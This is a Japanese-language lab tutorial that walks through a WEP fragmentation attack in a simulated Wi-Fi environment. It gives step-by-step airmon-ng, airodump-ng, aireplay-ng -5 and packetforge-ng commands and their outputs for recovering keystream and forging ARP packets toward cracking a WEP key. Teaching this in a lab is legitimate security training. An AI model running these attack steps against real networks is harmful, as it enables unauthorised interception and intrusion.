はじめに
この実験では、WEP (Wired Equivalent Privacy) で暗号化されたネットワークに対するフラグメンテーション攻撃(fragmentation attack)を実行する方法を学びます。フラグメンテーション攻撃は、攻撃者が WEP キー自体を知らなくても、少量の WEP キーストリーム(具体的には、疑似乱数生成アルゴリズムまたは PRGA)を取得できる技術です。
このキーストリームを取得すると、それを使用して新しく有効な暗号化パケットを作成できます。これらの偽造されたパケットは、ネットワークに再度注入され、トラフィックを刺激するために使用されます。これは、完全な WEP キーをクラックするための重要なステップです。
この目的を達成するために、aircrack-ng スイートのツールを使用します。プロセスには、ターゲットネットワークの監視、PRGA XOR ファイルを取得するためのフラグメンテーション攻撃の実行、そしてそのファイルを使用して ARP パケットを偽造することが含まれます。
airodump-ng でターゲット AP からデータパケットを取得する
このステップでは、ワイヤレスインターフェイスを監視用に準備し、次に airodump-ng を使用してターゲットのアクセスポイント(AP)からのトラフィックをキャプチャします。目標は、フラグメンテーション攻撃に必要なデータパケットを少なくとも 1 つキャプチャすることです。
まず、ワイヤレスインターフェイスをモニターモード(monitor mode)にする必要があります。このモードにより、ネットワークカードは自分宛てのトラフィックだけでなく、空中のすべての Wi-Fi トラフィックを傍受できるようになります。wlan1 インターフェイスで airmon-ng コマンドを使用します。
ターミナルで次のコマンドを実行してください。
sudo airmon-ng start wlan1
このコマンドは、通常 wlan1mon という名前の新しいモニターモードインターフェイスを作成します。出力で新しいインターフェイス名が確認できます。
PHY Interface Driver Chipset
phy1 wlan1 mac80211_hwsim Software simulator
(monitor mode enabled on wlan1mon)
次に、airodump-ng を使用してターゲット AP である "TestWEP" を探し、そのトラフィックをファイルにキャプチャします。BSSID(02:00:00:00:00:00)、チャンネル(1)、および出力ファイル用のファイルプレフィックス(capture)を指定します。
このコマンドを実行し、AP の #Data カウントが増加するまで約 30~60 秒間実行させてください。これは、データパケットがキャプチャされていることを示します。
sudo airodump-ng --bssid 02:00:00:00:00:00 -c 1 -w capture wlan1mon
以下のような出力が表示されます。#Data 列の値が 0 より大きくなるまで待ちます。
CH 1 ][ Elapsed: 30 s ][ 2023-10-27 10:00
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
02:00:00:00:00:00 -30 25 5 1 1 54 WEP WEP TestWEP
BSSID STATION PWR Rate Lost Frames Probe
データパケットがキャプチャされたことを確認したら、Ctrl+C を押して airodump-ng を停止します。ls コマンドを使用して生成されたキャプチャファイルを確認できます。ファイル名は capture-01.cap になります。
aireplay-ng -5 でフラグメンテーション攻撃を開始する
このステップでは、aireplay-ng を使用してフラグメンテーション攻撃を開始します。この攻撃は、ターゲット AP からのパケットを傍受し、パケットをキャプチャすると、それを使用して PRGA キーストリームを決定しようとします。
この攻撃のコマンドは aireplay-ng -5 です。ターゲット AP の BSSID を -b フラグで指定し、モニターインターフェイスの名前を指定する必要があります。
攻撃を開始するには、次のコマンドを実行してください。
sudo aireplay-ng -5 -b 02:00:00:00:00:00 wlan1mon
コマンドを実行した後、aireplay-ng は適切なパケットを傍受し始めます。ターミナルには、待機中であることを示すメッセージが表示されます。
Waiting for a data packet...
Read 221 packets...
ツールは、攻撃に使用できる適切なパケットが見つかるまでパケットの読み取りを続けます。次のステップでは、適切なパケットが見つかったら、このプロセスと対話します。今は、実行したままにしておいてください。
aircrack-ng から「Use this packet」メッセージを待つ
このステップでは、aireplay-ng で開始したプロセスを続行します。しばらくすると、aireplay-ng は使用可能なパケットをキャプチャし、確認を求めます。
ツールはパケットの詳細を表示し、それを使用するかどうかを尋ねます。
Waiting for a data packet...
Read 280 packets...
A suitable packet found!
Size: 68
1. Use this packet? (y/n)
Use this packet? (y/n) というプロンプトが表示されたら、y と入力して Enter を押します。
y
確認後、aireplay-ng はパケットから PRGA を再構築しようとします。成功すると、キーストリームは現在のディレクトリ(~/project)の .xor ファイルに保存されます。出力は次のようになります。
Saving chosen packet to replay_src-1027-100500.cap
Trying to get 68 bytes of keystream
Got keystream!!
Saved keystream in fragment-1027-100501.xor
Now you can build a packet with packetforge-ng
これにより、攻撃が成功し、キーストリームが保存されたことが確認されます。.xor ファイルは、新しいパケットを偽造するための鍵となります。
攻撃成功から PRGA XOR ファイルを生成する
このステップでは、フラグメンテーション攻撃によって PRGA キーストリームファイルが正常に作成されたことを確認します。このファイルは .xor 拡張子を持ち、復旧したキーストリームの一部が含まれています。
前のステップの出力で見たように、aireplay-ng はファイルを自動的に保存します。現在のディレクトリのファイルを一覧表示する ls -l コマンドを使用して、その存在を確認できます。
ls -l
出力には、airodump-ng からの capture-01.cap ファイルと、最も重要な新しい .xor ファイルを含むいくつかのファイルが表示されるはずです。ファイル名は日付と時刻によって異なります。
total 20
-rw-r--r-- 1 root root 119 Oct 27 10:02 capture-01.cap
-rw-r--r-- 1 root root 68 Oct 27 10:05 fragment-1027-100501.xor
-rw-r--r-- 1 root root 114 Oct 27 10:01 hostapd-wep.conf
-rw-r--r-- 1 root root 96 Oct 27 10:05 replay_src-1027-100500.cap
fragment-*.xor ファイルの存在は、次のステップで新しいパケットを偽造するために必要なコンポーネントを持っていることを確認します。
XOR ファイルを使用して ARP パケットを偽造し、インジェクションする
このステップでは、復旧した PRGA キーストリームを使用して新しいパケットを偽造します。packetforge-ng を使用して ARP 要求パケットを作成します。この偽造されたパケットはネットワークにインジェクトされ、より多くのトラフィックを生成するために使用できます。これは、WEP キーのクラッキングなどの他の攻撃に役立ちます。
まず、攻撃インターフェイス(wlan1)の MAC アドレスを知る必要があります。これは ip addr コマンドで見つけることができます。
ip addr show wlan1
出力には MAC アドレスが表示されます。このシミュレートされた環境では、02:00:00:00:01:00 です。
3: wlan1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 02:00:00:00:01:00 brd ff:ff:ff:ff:ff:ff
次に、packetforge-ng コマンドを構築します。
-0: ARP 要求パケットを指定します。-a: ターゲット AP の BSSID(02:00:00:00:00:00)です。-h: 送信元 MAC アドレス(あなたの MAC、02:00:00:00:01:00)です。-k: 送信先 IP アドレス(一般的なブロードキャスト IP192.168.1.255を使用します)。-l: 送信元 IP アドレス(一般的な送信元 IP192.168.1.100を使用します)。-y:.xorファイルへのパス。ファイルを使用するために$(ls *.xor)を使用できます。-w: 偽造されたパケットの出力ファイル名。例:arp-packet.cap。
コマンドを実行します。
packetforge-ng -0 -a 02:00:00:00:00:00 -h 02:00:00:00:01:00 -k 192.168.1.255 -l 192.168.1.100 -y $(ls *.xor) -w arp-packet.cap
ツールはパケットが作成されたことを確認します。
Wrote packet to arp-packet.cap
これで、WEP キーを知ることなく、有効な暗号化された ARP パケットを正常に作成しました。ls で作成を確認できます。このパケットは、ネットワークにインジェクトする準備ができました。
まとめ
この実験では、WEP フラグメンテーション攻撃を成功裏に実行しました。レガシー Wi-Fi セキュリティ分析における基本的なテクニックを学びました。
まず、airmon-ng でモニターモードインターフェイスを設定し、airodump-ng を使用してターゲット AP からデータパケットをキャプチャしました。次に、aireplay-ng -5 で主要なフラグメンテーション攻撃を開始し、WEP キーストリームの一部を復旧することができました。
最後に、復旧したキーストリームと packetforge-ng を使用して、カスタムの暗号化された ARP 要求パケットをゼロから作成しました。この偽造されたパケットは、ARP 要求リプレイ攻撃のような、WEP キーをクラックするために必要な数千のパケットを迅速に生成する、より高度な攻撃のための重要なツールです。
